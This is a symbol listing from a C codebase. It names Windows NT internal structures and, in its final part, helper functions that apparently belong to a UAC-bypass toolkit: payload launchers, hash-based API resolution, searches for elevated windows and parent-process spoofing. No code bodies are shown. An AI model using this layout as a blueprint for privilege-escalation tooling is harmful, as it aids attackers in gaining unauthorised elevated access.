  type RTL_ACTIVATION_CONTEXT_STACK_FRAME (line 6706) | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
  type ACTIVATION_CONTEXT_STACK (line 6712) | typedef struct _ACTIVATION_CONTEXT_STACK {
  type TEB (line 6720) | typedef struct _TEB {
  type PROCESS_DEVICEMAP_INFORMATION (line 6895) | typedef struct _PROCESS_DEVICEMAP_INFORMATION {
  type _PEB (line 6907) | struct _PEB
  type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY_W10 (line 6939) | typedef struct tagPROCESS_MITIGATION_BINARY_SIGNATURE_POLICY_W10 {
  type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY_W10 (line 6953) | typedef struct tagPROCESS_MITIGATION_DYNAMIC_CODE_POLICY_W10 {
  type PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY_W10 (line 6966) | typedef struct tagPROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY_W10 {
  type PROCESS_MITIGATION_FONT_DISABLE_POLICY_W10 (line 6980) | typedef struct tagPROCESS_MITIGATION_FONT_DISABLE_POLICY_W10 {
  type PROCESS_MITIGATION_IMAGE_LOAD_POLICY_W10 (line 6991) | typedef struct tagPROCESS_MITIGATION_IMAGE_LOAD_POLICY_W10 {
  type PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY_W10 (line 7005) | typedef struct tagPROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY_W10 {
  type PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY_W10 (line 7015) | typedef struct tagPROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY_W10 {
  type PROCESS_MITIGATION_CHILD_PROCESS_POLICY_W10 (line 7036) | typedef struct tagPROCESS_MITIGATION_CHILD_PROCESS_POLICY_W10 {
  type PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY_W10 (line 7048) | typedef struct tagPROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY_W10 {
  type PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY_W10 (line 7061) | typedef struct tagPROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY_W10 {
  type PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY_W10 (line 7074) | typedef struct tagPROCESS_MITIGATION_USER_SHADOW_STACK_POLICY_W10 {
  type PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY_W10 (line 7092) | typedef struct tagPROCESS_MITIGATION_REDIRECTION_TRUST_POLICY_W10 {
  type PROCESS_MITIGATION_USER_POINTER_AUTH_POLICY_W11 (line 7103) | typedef struct _PROCESS_MITIGATION_USER_POINTER_AUTH_POLICY_W11 {
  type PROCESS_MITIGATION_SEHOP_POLICY_W11 (line 7113) | typedef struct _PROCESS_MITIGATION_SEHOP_POLICY_W11 {
  type PROCESS_MITIGATION_POLICY_INFORMATION (line 7123) | typedef struct _PROCESS_MITIGATION_POLICY_INFORMATION {
  type KSYSTEM_TIME (line 7165) | typedef struct _KSYSTEM_TIME {
  type NT_PRODUCT_TYPE (line 7172) | typedef enum _NT_PRODUCT_TYPE {
  type ALTERNATIVE_ARCHITECTURE_TYPE (line 7180) | typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE {
  type KUSER_SHARED_DATA (line 7196) | typedef struct _KUSER_SHARED_DATA {
  type UNLOADED_DRIVERS (line 7467) | typedef struct _UNLOADED_DRIVERS {
  type FLT_FILTER_FLAGS (line 7484) | typedef enum _FLT_FILTER_FLAGS {
  type FLT_OBJECT_FLAGS (line 7495) | typedef enum _FLT_OBJECT_FLAGS {
  type FLT_OBJECT (line 7503) | typedef struct _FLT_OBJECT {
  type FLT_OBJECT_V2 (line 7511) | typedef struct _FLT_OBJECT_V2 {
  type FLT_OBJECT_V3 (line 7520) | typedef struct _FLT_OBJECT_V3 {
  type FLT_OBJECT_LOG_ENTRY (line 7529) | typedef struct _FLT_OBJECT_LOG_ENTRY {
  type FLT_OBJECT_LOG (line 7536) | typedef struct _FLT_OBJECT_LOG {
  type FLT_SERVER_PORT_OBJECT (line 7542) | typedef struct _FLT_SERVER_PORT_OBJECT {
  type FLT_RESOURCE_LIST_HEAD (line 7555) | typedef struct _FLT_RESOURCE_LIST_HEAD {
  type FLT_MUTEX_LIST_HEAD (line 7562) | typedef struct _FLT_MUTEX_LIST_HEAD {
  type FLT_FILTER_V1 (line 7575) | typedef struct _FLT_FILTER_V1 {
  type FLT_FILTER_V2 (line 7609) | typedef struct _FLT_FILTER_V2 {
  type FLT_FILTER_V3 (line 7644) | typedef struct _FLT_FILTER_V3 {
  type FLT_FILTER_V4 (line 7679) | typedef struct _FLT_FILTER_V4 {
  type FLT_FILTER_V5 (line 7714) | typedef struct _FLT_FILTER_V5 {
  type FLT_FILTER_V5 (line 7748) | typedef FLT_FILTER_V5 FLT_FILTER_COMPATIBLE;
  type PFLT_FILTER_V5 (line 7749) | typedef PFLT_FILTER_V5 PFLT_FILTER_COMPATIBLE;
  type SYSTEM_ROOT_SILO_INFORMATION (line 7759) | typedef struct _SYSTEM_ROOT_SILO_INFORMATION {
  type SILO_USER_SHARED_DATA (line 7764) | typedef struct _SILO_USER_SHARED_DATA {
  type OBP_SYSTEM_DOS_DEVICE_STATE (line 7781) | typedef struct _OBP_SYSTEM_DOS_DEVICE_STATE {
  type OBP_SILODRIVERSTATE (line 7786) | typedef struct _OBP_SILODRIVERSTATE {
  type OBP_SILODRIVERSTATE_V2 (line 7793) | typedef struct _OBP_SILODRIVERSTATE_V2 {
  type ESERVERSILO_GLOBALS (line 7801) | typedef struct _ESERVERSILO_GLOBALS {
  type KSE_DISABLE_FLAGS (line 7814) | typedef enum _KSE_DISABLE_FLAGS {
  type KSE_STATE (line 7821) | typedef enum _KSE_STATE {
  type DECLSPEC_ALIGN (line 7839) | struct DECLSPEC_ALIGN
  type KSE_SHIM (line 7856) | typedef struct _KSE_SHIM {
  type KSE_HOOK_COLLECTION_TYPE (line 7866) | typedef enum _KSE_HOOK_COLLECTION_TYPE {
  type KSE_HOOK_COLLECTION (line 7874) | typedef struct _KSE_HOOK_COLLECTION {
  type KSE_HOOK_TYPE (line 7880) | typedef enum _KSE_HOOK_TYPE {
  type KSE_HOOK (line 7886) | typedef struct _KSE_HOOK {
  type KSE_PROVIDER (line 7896) | typedef struct _KSE_PROVIDER {
  type KSE_SHIMMED_DRIVER (line 7901) | typedef struct _KSE_SHIMMED_DRIVER {
  type SL_CACHE_VALUE_DESCRIPTOR (line 7917) | typedef struct _SL_CACHE_VALUE_DESCRIPTOR {
  type SL_CACHE_VALUE_DESCRIPTOR (line 7926) | typedef SL_CACHE_VALUE_DESCRIPTOR SL_KMEM_CACHE_VALUE_DESCRIPTOR;
  type SL_CACHE (line 7929) | typedef struct _SL_CACHE {
  type SL_CACHE (line 7937) | typedef SL_CACHE SL_KMEM_CACHE;
  type SL_APPX_CACHE_VALUE_DESCRIPTOR (line 7939) | typedef struct _SL_APPX_CACHE_VALUE_DESCRIPTOR {
  type SL_APPX_CACHE (line 7946) | typedef struct _SL_APPX_CACHE {
  function FORCEINLINE (line 7968) | FORCEINLINE
  function CFORCEINLINE (line 7980) | CFORCEINLINE
  function FORCEINLINE (line 7988) | FORCEINLINE
  function FORCEINLINE (line 8004) | FORCEINLINE
  function FORCEINLINE (line 8020) | FORCEINLINE
  function FORCEINLINE (line 8036) | FORCEINLINE
  function FORCEINLINE (line 8053) | FORCEINLINE
  function FORCEINLINE (line 8070) | FORCEINLINE
  function FORCEINLINE (line 8086) | FORCEINLINE
  function FORCEINLINE (line 8102) | FORCEINLINE
  type LDR_DLL_LOAD_REASON (line 8143) | typedef enum _LDR_DLL_LOAD_REASON {
  type LDR_RESOURCE_INFO (line 8194) | typedef struct _LDR_RESOURCE_INFO {
  type LDR_DATA_TABLE_ENTRY_COMPATIBLE (line 8200) | typedef struct _LDR_DATA_TABLE_ENTRY_COMPATIBLE {
  type LDR_DATA_TABLE_ENTRY_COMPATIBLE (line 8266) | typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE LDR_DATA_TABLE_ENTRY;
  type LDR_DATA_TABLE_ENTRY_COMPATIBLE (line 8267) | typedef LDR_DATA_TABLE_ENTRY_COMPATIBLE* PLDR_DATA_TABLE_ENTRY;
  type LDR_DATA_TABLE_ENTRY (line 8268) | typedef LDR_DATA_TABLE_ENTRY* PCLDR_DATA_TABLE_ENTRY;
  type LDR_SERVICE_TAG_RECORD (line 8276) | typedef struct _LDR_SERVICE_TAG_RECORD
  type LDRP_CSLIST (line 8282) | typedef struct _LDRP_CSLIST
  type LDR_DDAG_STATE (line 8287) | typedef enum _LDR_DDAG_STATE
  type LDR_DDAG_NODE (line 8306) | typedef struct _LDR_DDAG_NODE
  type LDR_HOT_PATCH_STATE (line 8324) | typedef enum _LDR_HOT_PATCH_STATE
  type LDR_DATA_TABLE_ENTRY_FULL (line 8337) | typedef struct _LDR_DATA_TABLE_ENTRY_FULL
  type LDR_DLL_LOADED_NOTIFICATION_DATA (line 8414) | typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA {
  type LDR_DLL_UNLOADED_NOTIFICATION_DATA (line 8422) | typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA {
  type LDR_DLL_NOTIFICATION_DATA (line 8430) | typedef union _LDR_DLL_NOTIFICATION_DATA {
  type LDR_DLL_NOTIFICATION_DATA (line 8434) | typedef const LDR_DLL_NOTIFICATION_DATA* PCLDR_DLL_NOTIFICATION_DATA;
  function NTAPI (line 8837) | NTAPI
  type RTL_BUFFER (line 9046) | typedef struct _RTL_BUFFER {
  type RTL_UNICODE_STRING_BUFFER (line 9055) | typedef struct _RTL_UNICODE_STRING_BUFFER {
  type RTL_PATH_TYPE (line 9099) | typedef enum _RTL_PATH_TYPE {
  type in6_addr (line 9230) | struct in6_addr
  type NTSTATUS (line 9321) | typedef NTSTATUS(*PUSER_PROCESS_START_ROUTINE)(
  type NTSTATUS (line 9325) | typedef NTSTATUS(*PUSER_THREAD_START_ROUTINE)(
  type RTL_USER_PROCESS_INFORMATION (line 9329) | typedef struct _RTL_USER_PROCESS_INFORMATION {
  type RTL_USER_PROCESS_INFORMATION64 (line 9341) | typedef struct _RTL_USER_PROCESS_INFORMATION64 {
  function NTAPI (line 10214) | NTAPI
  function FORCEINLINE (line 10228) | FORCEINLINE
  type RTL_HEAP_PARAMETERS (line 10443) | typedef struct _RTL_HEAP_PARAMETERS {
  type TABLE_SEARCH_RESULT (line 10876) | typedef enum _TABLE_SEARCH_RESULT {
  type RTL_GENERIC_COMPARE_RESULTS (line 10883) | typedef enum _RTL_GENERIC_COMPARE_RESULTS {
  type _RTL_AVL_TABLE (line 10895) | struct _RTL_AVL_TABLE
  type RTL_AVL_TABLE (line 10897) | typedef struct _RTL_AVL_TABLE RTL_AVL_TABLE;
  type PRTL_AVL_TABLE (line 10898) | struct PRTL_AVL_TABLE
  type RTL_BALANCED_LINKS (line 10923) | typedef struct _RTL_BALANCED_LINKS {
  type RTL_AVL_TABLE (line 10931) | typedef struct _RTL_AVL_TABLE {
  type EVENT_INFORMATION_CLASS (line 11382) | typedef enum _EVENT_INFORMATION_CLASS {
  type EVENT_TYPE (line 11386) | typedef enum _EVENT_TYPE {
  type EVENT_BASIC_INFORMATION (line 11391) | typedef struct _EVENT_BASIC_INFORMATION {
  type MUTANT_INFORMATION_CLASS (line 11524) | typedef enum _MUTANT_INFORMATION_CLASS {
  type MUTANT_BASIC_INFORMATION (line 11529) | typedef struct _MUTANT_BASIC_INFORMATION {
  type MUTANT_OWNER_INFORMATION (line 11535) | typedef struct _MUTANT_OWNER_INFORMATION {
  type VOID (line 11579) | typedef VOID(*PTIMER_APC_ROUTINE) (
  type TIMER_TYPE (line 11585) | typedef enum _TIMER_TYPE {
  type TIMER_INFORMATION_CLASS (line 11590) | typedef enum _TIMER_INFORMATION_CLASS {
  type TIMER_BASIC_INFORMATION (line 11594) | typedef struct _TIMER_BASIC_INFORMATION {
  type TIMER_SET_INFORMATION_CLASS (line 11599) | typedef enum _TIMER_SET_INFORMATION_CLASS {
  type SEMAPHORE_INFORMATION_CLASS (line 11708) | typedef enum _SEMAPHORE_INFORMATION_CLASS {
  type SEMAPHORE_BASIC_INFORMATION (line 11712) | typedef struct _SEMAPHORE_BASIC_INFORMATION {
  type OBJECT_INFORMATION_CLASS (line 11758) | typedef enum _OBJECT_INFORMATION_CLASS {
  type OBJECT_DIRECTORY_INFORMATION (line 11770) | typedef struct _OBJECT_DIRECTORY_INFORMATION {
  type OBJECT_BASIC_INFORMATION (line 11775) | typedef struct _OBJECT_BASIC_INFORMATION {
  type OBJECT_NAME_INFORMATION (line 11789) | typedef struct _OBJECT_NAME_INFORMATION {
  type OBJECT_TYPE_INFORMATION (line 11793) | typedef struct _OBJECT_TYPE_INFORMATION {
  type OBJECT_TYPE_INFORMATION_V2 (line 11817) | typedef struct _OBJECT_TYPE_INFORMATION_V2 {
  type OBJECT_TYPES_INFORMATION (line 11843) | typedef struct _OBJECT_TYPES_INFORMATION {
  type OBJECT_HANDLE_FLAG_INFORMATION (line 11854) | typedef struct _OBJECT_HANDLE_FLAG_INFORMATION {
  type WAIT_TYPE (line 11933) | typedef enum _WAIT_TYPE {
  type SYMBOLIC_LINK_INFO_CLASS (line 12075) | typedef enum _SYMBOLIC_LINK_INFO_CLASS {
  type OBJECT_SYMBOLIC_LINK_V1 (line 12081) | typedef struct _OBJECT_SYMBOLIC_LINK_V1 { //pre Win10 TH1
  type OBJECT_SYMBOLIC_LINK_V2 (line 12087) | typedef struct _OBJECT_SYMBOLIC_LINK_V2 { //Win10 TH1/TH2
  type OBJECT_SYMBOLIC_LINK_V3 (line 12094) | typedef struct _OBJECT_SYMBOLIC_LINK_V3 { //Win10 RS1
  type OBJECT_SYMBOLIC_LINK_V4 (line 12102) | typedef struct _OBJECT_SYMBOLIC_LINK_V4 { //Win10 RS2+
  type OBJECT_SYMBOLIC_LINK_V5 (line 12117) | typedef struct _OBJECT_SYMBOLIC_LINK_V5 { //Win10 21H1+
  type MEMORY_PARTITION_INFORMATION_CLASS (line 12539) | typedef enum _MEMORY_PARTITION_INFORMATION_CLASS {
  type MEMORY_PARTITION_PAGE_RANGE (line 12558) | typedef struct _MEMORY_PARTITION_PAGE_RANGE {
  type MEMORY_PARTITION_INITIAL_ADD_INFORMATION (line 12563) | typedef struct _MEMORY_PARTITION_INITIAL_ADD_INFORMATION {
  type MEMORY_PARTITION_PAGE_COMBINE_INFORMATION (line 12570) | typedef struct _MEMORY_PARTITION_PAGE_COMBINE_INFORMATION {
  type MEMORY_PARTITION_PAGEFILE_INFORMATION (line 12576) | typedef struct _MEMORY_PARTITION_PAGEFILE_INFORMATION {
  type MEMORY_PARTITION_TRANSFER_INFORMATION (line 12583) | typedef struct _MEMORY_PARTITION_TRANSFER_INFORMATION {
  type MEMORY_PARTITION_CONFIGURATION_INFORMATION (line 12589) | typedef struct _MEMORY_PARTITION_CONFIGURATION_INFORMATION {
  type TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE (line 12842) | typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE
  type TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE (line 12848) | typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE
  type TOKEN_SECURITY_ATTRIBUTE_V1 (line 12854) | typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1
  type TOKEN_SECURITY_ATTRIBUTES_INFORMATION (line 12874) | typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION
  type KEY_LOAD_HANDLE_TYPE (line 13348) | typedef enum _KEY_LOAD_HANDLE_TYPE {
  type KEY_LOAD_HANDLE (line 13354) | typedef struct _KEY_LOAD_HANDLE {
  type SESSION_OBJECT (line 13549) | typedef struct _SESSION_OBJECT {
  type IO_SESSION_EVENT (line 13556) | typedef enum _IO_SESSION_EVENT {
  type IO_SESSION_STATE (line 13567) | typedef enum _IO_SESSION_STATE {
  type IO_COMPLETION_INFORMATION_CLASS (line 13606) | typedef enum _IO_COMPLETION_INFORMATION_CLASS {
  type IO_COMPLETION_BASIC_INFORMATION (line 13610) | typedef struct _IO_COMPLETION_BASIC_INFORMATION {
  type INITIAL_TEB (line 13829) | typedef struct _INITIAL_TEB
  type VOID (line 14111) | typedef VOID(*PPS_APC_ROUTINE) (
  type PORT_VIEW (line 14369) | typedef struct _PORT_VIEW {
  type REMOTE_PORT_VIEW (line 14384) | typedef struct _REMOTE_PORT_VIEW {
  type PORT_MESSAGE (line 14392) | typedef struct _PORT_MESSAGE {
  type PORT_MESSAGE32 (line 14418) | typedef struct _PORT_MESSAGE32 {
  type PORT_MESSAGE64 (line 14444) | typedef struct _PORT_MESSAGE64
  type PORT_DATA_ENTRY (line 14477) | typedef struct _PORT_DATA_ENTRY {
  type PORT_DATA_INFORMATION (line 14482) | typedef struct _PORT_DATA_INFORMATION {
  type LPC_CLIENT_DIED_MSG (line 14517) | typedef struct _LPC_CLIENT_DIED_MSG {
  type MEMORY_RESERVE_TYPE (line 14668) | typedef enum _MEMORY_RESERVE_TYPE {
  type DEBUG_OBJECT (line 14694) | typedef struct _DEBUG_OBJECT {
  type DEBUGOBJECTINFOCLASS (line 14713) | typedef enum _DEBUGOBJECTINFOCLASS {
  type DBGKM_EXCEPTION (line 14719) | typedef struct _DBGKM_EXCEPTION {
  type DBGKM_CREATE_THREAD (line 14724) | typedef struct _DBGKM_CREATE_THREAD {
  type DBGKM_CREATE_PROCESS (line 14729) | typedef struct _DBGKM_CREATE_PROCESS {
  type DBGKM_EXIT_THREAD (line 14738) | typedef struct _DBGKM_EXIT_THREAD {
  type DBGKM_EXIT_PROCESS (line 14742) | typedef struct _DBGKM_EXIT_PROCESS {
  type DBGKM_LOAD_DLL (line 14746) | typedef struct _DBGKM_LOAD_DLL {
  type DBGKM_UNLOAD_DLL (line 14754) | typedef struct _DBGKM_UNLOAD_DLL {
  type DBG_STATE (line 14758) | typedef enum _DBG_STATE {
  type DBGUI_CREATE_THREAD (line 14772) | typedef struct _DBGUI_CREATE_THREAD {
  type DBGUI_CREATE_PROCESS (line 14777) | typedef struct _DBGUI_CREATE_PROCESS {
  type DBGUI_WAIT_STATE_CHANGE (line 14783) | typedef struct _DBGUI_WAIT_STATE_CHANGE {
  type KPROFILE_SOURCE (line 14871) | typedef enum _KPROFILE_SOURCE {
  type UCHAR (line 14944) | typedef UCHAR SE_SIGNING_LEVEL, *PSE_SIGNING_LEVEL;
  type SE_FILE_CACHE_CLAIM_INFORMATION (line 14946) | typedef struct _SE_FILE_CACHE_CLAIM_INFORMATION {
  type SE_SET_FILE_CACHE_INFORMATION (line 14951) | typedef struct _SE_SET_FILE_CACHE_INFORMATION {
  type WORKERFACTORYINFOCLASS (line 15075) | typedef enum _WORKERFACTORYINFOCLASS {
  type WORKER_FACTORY_BASIC_INFORMATION (line 15094) | typedef struct _WORKER_FACTORY_BASIC_INFORMATION {
  type TRACE_CONTROL_INFORMATION_CLASS (line 15165) | typedef enum _TRACE_CONTROL_INFORMATION_CLASS {
  type PENCLAVE_ROUTINE (line 15240) | typedef PENCLAVE_ROUTINE LPENCLAVE_ROUTINE;
  type SYSTEM_KERNEL_DEBUGGER_INFORMATION (line 15332) | typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION {
  type SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX (line 15337) | typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX {
  type SYSDBG_COMMAND (line 15343) | typedef enum _SYSDBG_COMMAND {
  type SYSDBG_VIRTUAL (line 15386) | typedef struct _SYSDBG_VIRTUAL {
  type HARDERROR_RESPONSE_OPTION (line 15413) | typedef enum _HARDERROR_RESPONSE_OPTION {
  type HARDERROR_RESPONSE (line 15425) | typedef enum _HARDERROR_RESPONSE {
  type RTL_VERIFIER_THUNK_DESCRIPTOR (line 15560) | typedef struct _RTL_VERIFIER_THUNK_DESCRIPTOR {
  type RTL_VERIFIER_DLL_DESCRIPTOR (line 15566) | typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR {
  type RTL_VERIFIER_PROVIDER_DESCRIPTOR (line 15573) | typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR {

FILE: Source/Shared/ntos/ntsxs.h
  type _ACTIVATION_CONTEXT (line 39) | struct _ACTIVATION_CONTEXT
  type _ACTIVATION_CONTEXT (line 40) | struct _ACTIVATION_CONTEXT
  type ACTIVATION_CONTEXT_DATA_TOC_HEADER (line 61) | typedef struct _ACTIVATION_CONTEXT_DATA_TOC_HEADER {
  type ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER (line 68) | typedef struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER {
  type ACTIVATION_CONTEXT_DATA_TOC_ENTRY (line 75) | typedef struct _ACTIVATION_CONTEXT_DATA_TOC_ENTRY {
  type ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY (line 82) | typedef struct _ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_ENTRY {
  type ACTIVATION_CONTEXT_STRING_SECTION_HEADER (line 88) | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HEADER {
  type ACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE (line 105) | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HASH_TABLE {
  type ACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET (line 110) | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HASH_BUCKET {
  type ACTIVATION_CONTEXT_STRING_SECTION_ENTRY (line 115) | typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_ENTRY {
  type ACTIVATION_CONTEXT_GUID_SECTION_HEADER (line 124) | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_HEADER {
  type ACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE (line 138) | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_HASH_TABLE {
  type ACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET (line 143) | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_HASH_BUCKET {
  type ACTIVATION_CONTEXT_GUID_SECTION_ENTRY (line 148) | typedef struct _ACTIVATION_CONTEXT_GUID_SECTION_ENTRY {
  type ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION (line 155) | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_GLOBAL_INFORMATION {
  type ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION (line 173) | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION {
  type ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION (line 207) | typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION {
  type ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT (line 215) | typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT {
  type ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION (line 220) | typedef struct _ACTIVATION_CONTEXT_DATA_WINDOW_CLASS_REDIRECTION {
  type ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS (line 249) | typedef struct _ACTIVATION_CONTEXT_DATA_APPLICATION_SETTINGS {
  type ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION (line 276) | typedef struct _ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION {
  type ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM (line 300) | typedef struct _ACTIVATION_CONTEXT_DATA_COM_SERVER_REDIRECTION_SHIM {
  type ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION (line 314) | typedef struct _ACTIVATION_CONTEXT_DATA_COM_TYPE_LIBRARY_REDIRECTION {
  type ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION (line 325) | typedef struct _ACTIVATION_CONTEXT_DATA_COM_PROGID_REDIRECTION {
  type SXS_OVERRIDE_MANIFEST (line 331) | typedef struct _SXS_OVERRIDE_MANIFEST {
  type SXS_MANIFEST_STREAM (line 337) | typedef struct _SXS_MANIFEST_STREAM {
  type ACTIVATION_CONTEXT_ASSEMBLY_DATA (line 342) | typedef struct _ACTIVATION_CONTEXT_ASSEMBLY_DATA {
  type ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER (line 351) | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER {
  type ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY (line 362) | typedef struct _ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY {
  type ACTIVATION_CONTEXT_SECTION_KEYED_DATA_ASSEMBLY_METADATA (line 371) | typedef struct _ACTIVATION_CONTEXT_SECTION_KEYED_DATA_ASSEMBLY_METADATA {
  type ACTIVATION_CONTEXT_SECTION_KEYED_DATA (line 379) | typedef struct _ACTIVATION_CONTEXT_SECTION_KEYED_DATA {

FILE: Source/Shared/rtltypes.h
  type wchar_t (line 4) | typedef unsigned short wchar_t;
  function locase_a (line 17) | __forceinline char locase_a(char c)
  function wchar_t (line 25) | __forceinline wchar_t locase_w(wchar_t c)
  function byteabs (line 33) | __forceinline char byteabs(char x) {
  function _isdigit_a (line 39) | __forceinline int _isdigit_a(char x) {
  function _isdigit_w (line 43) | __forceinline int _isdigit_w(wchar_t x) {

FILE: Source/Shared/strtoi.c
  function strtoi_a (line 3) | int strtoi_a(char *s)
  function strtoi_w (line 37) | int strtoi_w(wchar_t *s)

FILE: Source/Shared/strtoul.c
  function strtoul_a (line 3) | unsigned long strtoul_a(char *s)
  function strtoul_w (line 22) | unsigned long strtoul_w(wchar_t *s)

FILE: Source/Shared/u64tohex.c
  function u64tohex_a (line 3) | size_t u64tohex_a(unsigned long long x, char *s)
  function u64tohex_w (line 27) | size_t u64tohex_w(unsigned long long x, wchar_t *s)

FILE: Source/Shared/u64tostr.c
  function u64tostr_a (line 3) | size_t u64tostr_a(unsigned long long x, char *s)
  function u64tostr_w (line 25) | size_t u64tostr_w(unsigned long long x, wchar_t *s)

FILE: Source/Shared/ultohex.c
  function ultohex_a (line 3) | size_t ultohex_a(unsigned long x, char *s)
  function ultohex_w (line 27) | size_t ultohex_w(unsigned long x, wchar_t *s)

FILE: Source/Shared/ultostr.c
  function ultostr_a (line 3) | size_t ultostr_a(unsigned long x, char *s)
  function ultostr_w (line 25) | size_t ultostr_w(unsigned long x, wchar_t *s)

FILE: Source/Shared/util.c
  function PVOID (line 32) | PVOID ucmxHeapAlloc(
  function BOOLEAN (line 49) | BOOLEAN ucmxHeapFree(
  function BOOLEAN (line 66) | BOOLEAN ucmIsProcess32bit(
  function VOID (line 95) | VOID ucmxQuerySystemDirectory(
  function VOID (line 127) | VOID ucmBinTextEncode(
  function VOID (line 166) | VOID ucmGenerateSharedObjectName(
  function PSID (line 190) | PSID ucmxCreateBoundaryDescriptorSID(
  function HANDLE (line 225) | HANDLE ucmOpenAkagiNamespace(
  function BOOL (line 292) | BOOL ucmReadSharedParameters(
  function VOID (line 364) | VOID ucmSetCompletion(
  function BOOLEAN (line 393) | BOOLEAN ucmPrivilegeEnabled(
  function PLARGE_INTEGER (line 422) | PLARGE_INTEGER ucmFormatTimeOut(
  function VOID (line 443) | VOID ucmSleep(
  function NTSTATUS (line 466) | NTSTATUS ucmCreateSyncMutant(
  function DWORD (line 495) | DWORD ucmGetHashForString(
  function LPVOID (line 518) | LPVOID ucmGetProcedureAddressByHash(
  function VOID (line 565) | VOID ucmGetStartupInfo(
  function DWORD (line 608) | DWORD ucmExpandEnvironmentStrings(
  function PVOID (line 652) | PVOID ucmGetSystemInfo(
  function BOOL (line 700) | BOOL ucmLaunchPayload(
  function BOOL (line 815) | BOOL ucmLaunchPayloadEx(
  function BOOL (line 929) | BOOL ucmLaunchPayload2(
  function BOOL (line 1179) | BOOL ucmLaunchPayload3(
  function LPWSTR (line 1292) | LPWSTR ucmQueryRuntimeInfo(
  function BOOLEAN (line 1627) | BOOLEAN ucmDestroyRuntimeInfo(
  function BOOL (line 1641) | BOOL ucmIsUserWinstaInteractive(
  function NTSTATUS (line 1684) | NTSTATUS ucmIsUserHasInteractiveSid(
  function NTSTATUS (line 1770) | NTSTATUS ucmIsLocalSystem(
  function BOOL (line 1849) | BOOL ucmGetProcessElevationType(
  function NTSTATUS (line 1886) | NTSTATUS ucmIsProcessElevated(
  function BOOL (line 1932) | BOOL ucmSetEnvironmentVariable(
  function DWORD (line 1973) | DWORD WINAPI ucmxWaitForOpLockThread(
  function BOOL (line 2000) | BOOL ucmWaitForOpLock(
  function BOOL (line 2033) | BOOL ucmReleaseOpLock(
  function BOOL (line 2051) | BOOL ucmOpLockFile(
  function BOOL (line 2128) | BOOL ucmxHideMainWindowCallback(
  function VOID (line 2162) | VOID ucmHideMainWindow(
  function BOOL (line 2177) | BOOL ucmCheckUIAccessPermissions(
  function HANDLE (line 2231) | HANDLE ucmCallGetProcessHandleFromHwnd(
  function BOOL (line 2258) | BOOL ucmCreateProcessWithParent(
  function HANDLE (line 2305) | HANDLE ucmGetHwndFullProcessHandle(
  function BOOL (line 2329) | BOOL ucmxEnumElevatedWindows(
  function HWND (line 2387) | HWND ucmFindFirstElevatedWindow(
  function BOOL (line 2404) | BOOL ucmStartBackupLockedElevatedProcess(

FILE: Source/Shared/util.h
  type UACME_PARAM_BLOCK (line 21) | typedef struct _UACME_PARAM_BLOCK {
